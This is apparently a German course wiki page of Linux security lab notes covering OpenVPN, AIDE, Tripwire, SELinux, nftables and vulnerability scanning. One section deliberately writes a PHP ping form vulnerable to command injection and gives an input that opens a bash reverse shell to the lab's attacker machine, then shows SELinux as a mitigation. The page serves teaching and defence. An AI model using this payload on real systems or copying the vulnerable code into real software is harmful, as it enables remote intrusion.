Nun sollte man das LAN des Partners erreichbar sein

OpenVPN Site-to-Site mit Zertifikat aufbauen

Wir können die Zertifikate für Strongswan hier weiter nutzen
Dafür erstellen wir einen speziellen Ordner unter /etc/openvpn
mkdir /etc/openvpn/ssl
cp /etc/ipsec.d/private/fw1xx.key /etc/ipsec.d/certs/fw1xx.crt /etc/ipsec.d/cacerts/ca.crt /etc/openvpn/ssl

Partner 1

Partner 1 generiert zusätzlich einen Diffie-Hellman Parameter in diesen Ordner
openssl dhparam -out /etc/openvpn/ssl/dh2048.pem 2048
Die Verbindungskonfiguration muss diese Dateien finden
vim /etc/openvpn/cert-server.conf

remote 192.168.HS.1yy
dev tun
tls-server
ifconfig 172.24.24.1xx 172.24.24.1yy
route 172.16.1yy.0 255.255.255.0
keepalive 10 120
dh ssl/dh2048.pem
ca ssl/ca.crt
cert ssl/fw1xx.crt
key ssl/fw1xx.key

systemctl daemon-reload
systemctl start openvpn@cert-server

Partner 2

vim /etc/openvpn/cert-client.conf

remote 192.168.HS.1yy
dev tun
tls-client
ifconfig 172.24.24.1xx 172.24.24.1yy
route 172.16.1yy.0 255.255.255.0
keepalive 10 120
ca ssl/ca.crt
cert ssl/fw1xx.crt
key ssl/fw1xx.key

systemctl daemon-reload
systemctl start openvpn@cert-client

OpenVPN mit User-Authentication einrichten

Hier kann man alleine weitermachen
Vorher alle anderen VPNs stoppen und Routingeinträge neu laden
systemctl stop openvpn@cert-server bzw. systemctl stop openvpn@cert-client
ifdown -va ; ifup -va
Falls noch kein Diffie-Hellman Schlüssel erzeugt wurde, dann diesen Schritt noch wiederholen
openssl dhparam -out /etc/openvpn/ssl/dh2048.pem 2048
vim /etc/openvpn/user-auth-server.conf

dev tun
mode server
tls-server
topology subnet
server 172.24.24.0 255.255.255.0
route-gateway 172.24.24.1
push 'route 172.16.1xx.0 255.255.255.0'
cipher AES-256-CBC
link-mtu 1543
keepalive 10 30
client-to-client
dh ssl/dh2048.pem
ca ssl/ca.crt
cert ssl/fw1xx.crt
key ssl/fw1xx.key
verify-client-cert none
plugin /usr/lib/openvpn/openvpn-plugin-auth-pam.so /etc/pam.d/login

Diese Konfiguration starten
systemctl daemon-reload
systemctl start openvpn@user-auth-server
Hier kann man den Ubuntu Rechner nutzen, um einen Homeoffice Mitarbeiter nachzusimulieren
Das Zertifikat der Zertifizierungsstelle holen und in die OpenVPN Konfigurationsdatei einbinden
scp root@fw:/etc/openvpn/ssl/ca.crt .
OpenVPN installieren (falls es noch nicht da ist)
apt install openvpn
Client-Konfiguration erstellen mit dem Inhalt der ca.crt
vim lab1xx.ovpn

dev tun0
remote 192.168.HS.1xx
tls-client
cipher AES-256-CBC
pull
auth-user-pass

<ca>
-----BEGIN CERTIFICATE-----
MIIFAzCCAuugAwIBAgIUL5Pyu5Rlwi/noznd1CWK3r4IZiEwDQYJKoZIhvcNAQEL
BQAwETEPMA0GA1UEAwwGdnBuLWNhMB4XDTIzMDgwNjA3NDY1N1oXDTI0MDgwNTA3
NDY1N1owETEPMA0GA1UEAwwGdnBuLWNhMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAuYYi369+gKR0RC4vdRvpB0bL6EuUEiwDaPD7XDE5i21gyC/Z5wOr
bv8UTZ1JO4UoTabUZaCDjNOjG4dJA/dr4LKwmnugS2ODO+Bk9fmPpeRVVVFi5kZR
zX6iqNkXXydmIYwxJcTzHq+Dro0jSMUsOChhGhuI+DqU2jbiLm4LsQ//EzMwt54l
igLNynA8k6cg20sDekaSiZm3STQh4SOwBGVWzH0MX0l7PvOpFs22rdnWGGCkdQlo
6yG+oLGwd8G8zJFBNfwQTWKYRkAlJi3gGC+tXMsbQflyImqATVsMOAH0dGCetlfV
izrzApTz0ntPxdp4cF2dE6VWvip+GBMZuned4fKXNzkl+Vf4IhmUxxPrBxUViSgM
UCftojAecB9+6fgETJ2NcZejqSv7QHZN86MBb2sB2IftEqGk0VCS+MeXZglf8AwY
SK5iV9oc97GHbrPdXDlJOwI5MrqCNv+T5BzwuVJ4sRXORSZsDVrz7MpAPaZj86lr
V3KB3RQWDQrxMJyG4K7gBMbJBW7YUIdmviVUFB9k6zv53pvfedM2vHbrCbFATtrj
dXNTy4dl3dLTV9NGjYXPa66JpsFIR4UgWGugSoEsGn7m7zqZ43IGrRPOn7spEqCR
r1gGGM1mVeVKB0cdG++jK/3FNjrWuVPT2K7IyzxMep4A1fKhl56mJR8CAwEAAaNT
MFEwHQYDVR0OBBYEFOrV2doki3JZ0qs9IvnJ2PK1t3azMB8GA1UdIwQYMBaAFOrV
2doki3JZ0qs9IvnJ2PK1t3azMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL
BQADggIBALhBLzogYcNrMghWu4JBD9+gY8+7BwvZW8oFa4yO2Cb+VQ56oyOeq2IW
QoNQgQpTKFPPMw/gfe8bTfbFP1qG/nfxoHBrzn5Gt6hkTQ3dhvNkkOiQDYlXhJ0v
pNs+UVxkDhQxPBwvlE5BQIvElGKcEfrgXqQE6zdWWP5b6yrt8eTI+TBP32+hS3gc
I6pvKEv2mxd/SchXlbNEKqUYdYldxc4GXwuYKfgjzo+aAbaw2FCbiVtwg8f7a3ky
GtYUP41eEl24FyRWI4L/wLPha8k7YjZqiTB8NKj5L7sB+mKbMXsEwqlKh8BmjPXN
WAGVpfcetV0UkJS/diKZyqTa1MFb4TIexpNa9GLxEGGg8zsgVypL2TG5sCiecoSF
gGbm7yE9Yb4IF0v4X57gbULAZFMzaUkk65Y2f2VJ5RoJCBl51SWOWm5gMXz5vmwk
GihwB+oLvcjoZIBc3MrB9ZHdZ60qCzOtTGiSlhqfJETrzaRgAx5Z4PWY9F9iwucC
OW9eOMXpOPqW80CO/Y0srX9C9LpmM/s9SXzgey+MV+iH5VPE3eMVDj7axQsPbgqb
lXoRa2ENyOltSPzejlh33DHoYreov464JtrMMjQ6I2YlcXlUJycL2gPysA0Ad/zd
I2p2luSylfNI7DdfmuZrhhdlPg1kMS2QzyQr2quf9YZSJwSgdbhr
-----END CERTIFICATE-----
</ca>

Nun die Maschine ausschalten, klonen und "außerhalb" des Labors hängen (NAT Adapter bzw. Netzwerkbrücke)
openvpn --config lab1xx.ovpn

HIDS

[Bearbeiten]

Command Injection Prinzip

Auf dem Webserver
apt install apache2 php-sqlite3 libapache2-mod-php
vim /var/www/html/command-injection.php

 <!DOCTYPE html>
 <html>
	<body>
		<h2>PING</h2>
		<form method="post">
		  <label for="fname">IP</label><br>
		  <input type="text" name="ip"><br>
		  <input type="submit" name="submit" value="submit">
		</form>
		<br>
 <?php
 if(isset($_POST['submit'])){
 	$ip = $_POST['ip'];
 	$cmd = 'ping -c 4 ' . $ip;
 	$output = shell_exec($cmd);
 	echo "<pre> $output</pre>";
 }
 ?>
	 </body>
 </html>
</php>

Firewall anpassen, um den Hack zuzulassen
vim /usr/local/sbin/firewall

iptables -A FORWARD -i $DMZDEV -o $WANDEV -j ACCEPT

Der KIT Host soll als Hackrechner dienen
Vorraussetzung für eine Reverse Shell ist, dass der Hacker auf eingehende Verbindungen wartet
nc -lp 9999
Im Eingabefeld des Browsers folgendes eingeben:
1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
In unserem Fall also:
1.1.1.1 ; bash -c "bash -i >& /dev/tcp/192.168.HS.xx/9999 0>&1"

AIDE

statische AIDE

apt install aide
Aide Config
Aide Test
Änderungen bestätigen und Datenbank updaten
aide --config=/etc/aide/aide.conf --update
cp -v /var/lib/aide/aide.db{.new,}

dynamische AIDE

Es wird davon abgeraten dynamisches AIDE zu verwenden
apt install aide-dynamic
Eine bösartig verlinkte Funktionsbibliothek könnte zur Fehlfunktion von AIDE führen
Unterschiede statisch vs. dynamisch gelinked

Tripwire

apt update && apt install tripwire
Man kann alle Prompts bei der Installation mit Ja bestätigen
Die Passphrasen für Local-/Site-Key sollte man sich merken
Diese werden zum Signieren von Änderungen benutzt
Auch hier die Default Policy-Datei als Backup/Referenz nutzen
cd /etc/tripwire
mv /etc/tripwire/twpol.txt{,.orig}
vim /etc/tripwire/twpol.txt

/etc -> $(ReadOnly);
!/etc/tripwire;

twadmin --create-polfile /etc/tripwire/twpol.txt
Mehr Syntax kann man nachlesen unter: man twpolicy (relativ ähnlich zu AIDE)
Tripwire verwaltet eine Datenbank um auf Regelverstöße zu prüfen.
tripwire --init
tripwire --check -r report.twr
touch /etc/ssh/newfile
tripwire --check -r report.twr
Für ein Datenbankupdate muss der dazugehörige Bericht mit angegeben werden, falls nicht die Default Datei verwendet wurde
tripwire --update -r report.twr
tripwire --check -r report.twr
Den Schweregrad des Regelverstoßes kann man auch anpassen

/etc -> $(ReadOnly) (severity=35);
/root -> $(ReadOnly) (severity=10);
!/etc/tripwire;

Mandatory Access Control

Apparmor

SELinux

Ein Benutzer versucht ein Programm aufzurufen.
Dem Benutzer ist ein Benutzer Typ zugeordnet.
Dem Pragamm ist ein Progamm Typ zugeordnet.
SELinux checkt nun ob der Benutzer Typ das Programm anhand des Programm Typ aufrufen darf.
Dann wird gecheckt ob der Benutzer Typ zu dem Prozess Typ transitieren darf.
Wenn dies erlaubt ist transitiert der Benutzer Typ zum Prozess Typ.
Der Prozess läuft dann mit den entsprechenden Rechten unter seinem Prozess Typ.
Diese Command Injection Schwachstelle lässt sich mit SELinux beheben
SELinux unter Debian
Damit der Ping aber weiterhin funktioniert, muss noch ein Richtlinienmodul geladen werden, der speziell für Apache2 das Pingen erlaubt
setenforce 0
Normal auf der Weboberfläche pingen (Keine Reverse Shell aufbauen!)
Nun kann man die Verstöße in ein ladbares Modul umwandeln, welches speziell nur die Rechte vergibt, um Ping zuzulassen
ausearch -m AVC -ts recent | audit2allow -M apache2-ping
semodule -i apache2-ping.pp
setenforce 1
Nun sollte das Öffnen eines Portes durch Command Injection durch SELinux verhindert werden
Die Verstöße kann man sich nochmal mit ausearch anzeigen lassen
!!Achtung!! Andere Kommandos könnten jedoch immernoch ausgeführt werden, z.B. 1.1.1.1 ; ls zeigt uns den Inhalt des Ordners /var/www/html

Suricata

[Bearbeiten]

ein IDS/IPS matcht im Gegensatz zur Firewall auch auf höheren Schichten.
So können z.B. bestimmte DNS Abfragen oder HTTP Anfragen gemeldet oder blockiert werden
Ein weiterer Anwendungsfall wäre die Version von Diensten zu überprüfen und jene mit bekannten Schwachstellen ablehnen

Suricata Installation

Suricata IDS

Suricata IPS

OWASP Juice Shop

Juice Shop ist eine Webapplikation mit vielen absichtlich eingebauten Schwachstellen zum Lernen von Hacking-Prinzipien
Am einfachsten lässt es sich über Docker installieren
Der Docker Container soll auf dem Webserver laufen (folgende Befehle auf dem Webserver)
systemctl disable --now apache2
apt install docker.io
docker pull bkimminich/juice-shop
docker run -d -p 0.0.0.0:80:3000 bkimminich/juice-shop

Proxies

Squid als Standard Proxy

Transparenter Proxy

Virenscanning mit ClamAV in Squid

SOCKS Proxy

SOCKS Proxies verbinden Client und Server protokollunabhängig über einen Proxy
Eine verschlüsselte SOCKS Verbindung kann man am einfachsten mit SSH erreichen
ssh -fnN -D 8080 sftp
curl www.lab1xx.sec
curl --socks5 localhost:8080 www.lab1xx.sec
Unterschiedliche IPs sollten unter /var/log/apache2/access.log zu sehen sein

Greenbone Security/Vulnerability Manager (Hacking & Security Seite 161)

Kali Festplatte auf den realen Host ziehen
scp kit@192.168.HS.200:~/Downloads/kali-linux-2023.3-virtualbox-amd64/kali-linux-2023.3-virtualbox-amd64.vdi Dokumente
Neue Maschine mit dieser Festplatte und Netzwerkbrücke als Adapter erstellen
Benutzer/Passwort: kali
sudo su
apt update
apt install gvm
GVM initialisieren und das Passwort merken, aufschreiben oder in eine Datei speichern
gvm-setup
greenbone-feed-sync --type scan-config
Falls das immernoch nicht funktioniert
Die User ID des Admins holen...
runuser -u _gvm -- gvmd --get-users --verbose
...und Konfiguration des Benutzers ändern
runuser -u _gvm -- gvmd --modify-setting 78eceaec-3385-11ea-b237-28d24461215b --value <uuid_of_user>

Scanning-Ziel

scp kit@192.168.HS.200:~/Downloads/Metasploitable2-Linux/Metasploitable.vmdk ~/Dokumente
Metasploitable auch mit Adapter Netzwerkbrücke erstellen
Warten bis die Scan-Configs in GVM angezeigt werden
Über den Scan-Wizard diese Maschine scannen

Angriffe simulieren

nmap

metasploit

Nftables

Bessere Performance als iptables

atomare Änderungen sind möglich durch die Konfigurationsdatei /etc/nftables.conf
Regelwerke werden nicht komplett nach jeder Änderung im Kernel neugeladen
kein Overhead durch impliziten Paket-Counter
Support für Hashtabellen, um schneller auf Eigenschaften des Pakets zu matchen
Standard Tabellen und Ketten können beliebig benannt werden (Obwohl es besser ist sich an die iptables Konvention zu halten)
Die Reihenfolge der Ketten kann beliebig definiert werden
Es können beliebig viele "Standardketten" definiert werden
Logging und Mangling können gleich in der dazugehörigen ACCEPT/DROP Regel angewandt werden
Nftables erfährt von den Regeln die von Iptables definiert wurden
firewall start
nft list ruleset
Die Konfigurationdatei liegt unter /etc/nftables.conf
Eine Systemd-Service Datei existiert schon für das ein-/ausschalten der Firewall

[Bearbeiten]

Übersetzung

vim /etc/nftables.conf

nft flush ruleset

define WANDEV = "enp0s3"
define LANDEV = "enp0s8"
define DMZDEV = "enp0s9"
define LAN = 172.16.1xx.0/24
define RIGHTSIDE = 172.16.107.0/24
define DMZ = 10.0.1xx.0/24
define DNSSERVER = 10.0.1xx.2
define WEBSERVER = 10.0.1xx.3
define SFTPSERVER = 10.0.1xx.4
define WANIP = 192.168.HS.1xx

table ip filter {
	chain INPUT {
		type filter hook input priority filter; policy drop;
		iif "lo" accept
		iif $WANDEV  esp accept
		ct state related,established accept
		iif $LANDEV  tcp ip saddr $LAN tcp dport { 2222,8888,8889} accept
		iif $LANDEV icmp type echo-request accept
		iif $WANDEV udp dport { 500,4500,1194} accept
		log prefix "nftables drop INPUT: "
	}

	chain OUTPUT {
		type filter hook output priority filter; policy drop;
		oif "lo" accept
		oif $WANDEV  esp accept
		ct state related,established accept
		icmp icmp type echo-request accept
		oif $WANDEV tcp dport { 80,443} accept
		oif $DMZDEV ip daddr $DMZ tcp dport { 22,2222} accept
		oif $DMZDEV ip daddr $DMZ udp dport 53 accept
		oif $WANDEV udp dport { 500,4500,1194} accept
		log prefix "nftables drop OUTPUT: "
	}

	chain FORWARD {
		type filter hook forward priority filter; policy drop;
		iif $LANDEV oif $DMZDEV mark and 0x1 != 0x1 queue
		ct state related,established accept
		iif $WANDEV oif $LANDEV secpath exists accept
		iif $LANDEV oif $WANDEV  accept
		iif $LANDEV ip daddr $RIGHTSIDE accept
		oif $LANDEV ip saddr $RIGHTSIDE accept
		iif $LANDEV oif $WANDEV  tcp tcp dport { 22,80,443} accept
		iif $LANDEV oif $DMZDEV  tcp tcp dport { 80,443} accept
		iif $LANDEV oif $WANDEV  udp udp dport 53 accept
		iif $DMZDEV oif $WANDEV  tcp tcp dport { 53,80,443} accept
		iif $DMZDEV oif $WANDEV  udp udp dport 53 accept
		iif $LANDEV oif $DMZDEV  udp udp dport 53 accept
		icmp icmp type echo-request accept
		iif $DMZDEV oif $WANDEV  icmp icmp type echo-request accept
		udp ip daddr $DNSSERVER udp dport 53 accept
		tcp ip daddr $WEBSERVER tcp dport { 80,443} accept
		tcp ip daddr $SFTPSERVER tcp dport 2222 accept
		log prefix "nftables drop FORWARD: "
	}
}
table ip nat {
	chain PREROUTING {
		type nat hook prerouting priority dstnat;
		iif $WANDEV ip saddr 172.16.107.0/24 return
		iif $LANDEV  tcp tcp dport 80 redirect to :8889
		iif $LANDEV  tcp tcp dport 443 redirect to :8888
		iif $WANDEV  udp udp dport 53 dnat to $DNSSERVER
		iif $WANDEV  tcp tcp dport 80 dnat to $WEBSERVER
		iif $WANDEV  tcp tcp dport 443 dnat to $WEBSERVER
		iif $WANDEV  tcp tcp dport 22 dnat to $SFTPSERVER:2222
	}

	chain POSTROUTING {
		type nat hook postrouting priority srcnat;
		oif $WANDEV ip saddr $LAN ip daddr 172.16.107.0/24 return
		oif $WANDEV ip saddr $LAN snat to $WANIP
		oif $WANDEV ip saddr $DMZ snat to $WANIP
	}
}

IP bei zuvielen Anfragen sperren

Original: https://wiki.archlinux.org/title/Nftables#Dynamic_blackhole
vim /etc/nftables.conf

table inet filter {
    set blackhole {
        type ipv4_addr;
        flags dynamic, timeout;
        size 65536;
    }

    chain input {
        ...
        ct state new tcp dport 80 \
                meter flood size 128000 { ip saddr timeout 10s limit rate over 10/minute } \
                add @blackhole { ip saddr timeout 1m }

        ip saddr @blackhole counter drop
    }
    ...
}

Linux - Security und Firewall Plan (Online)

Ziel

VirtualBox Vorlagen

Aufbau des Labors

Hostzugriff absichern

Remotezugriff mit SSH

SSH-Schlüssel auf die Firewall ablegen

SSH-Daemon auf Firewall absichern: Anderer Port, kein Root Login über Passwort

Internet Zugriff für LAN mit iptables

Automatischer Start der Firewall

minimale Firewall mit Remotezugriff

einfache Firewall für LAN

DNS Server in der DMZ erstellen

Firewall Regeln für die DMZ

Portforwarding mit iptables

Zonenkonfiguration mit view

Konfiguration des SSH Clients auf dem KIT Host

Webserver in der DMZ

SFTP-Server in der DMZ

Fail2ban für SSH/SFTP einrichten

Verschlüsseln des Datenverkehrs zwischen den Laboren mit VPNs

IPSec Site-to-Site aufbauen mit PSK

Partner 1

Partner 2

Beide

IPSec Site-to-Site aufbauen mit Zertifikat

Partner 1

Partner 2

Partner 1

Beide

Partner 2

Pakete durch den VPN Tunnel schicken

OpenVPN Site-to-Site mit PSK aufbauen

Partner 1

Partner 2

Verbindungskonfiguration

OpenVPN Site-to-Site mit Zertifikat aufbauen

Partner 1

Partner 2

OpenVPN mit User-Authentication einrichten

HIDS

statische AIDE

dynamische AIDE

OWASP Juice Shop

SOCKS Proxy

Greenbone Security/Vulnerability Manager (Hacking & Security Seite 161)

Scanning-Ziel

Angriffe simulieren

Nftables

Übersetzung

IP bei zuvielen Anfragen sperren

Navigationsmenü

Suche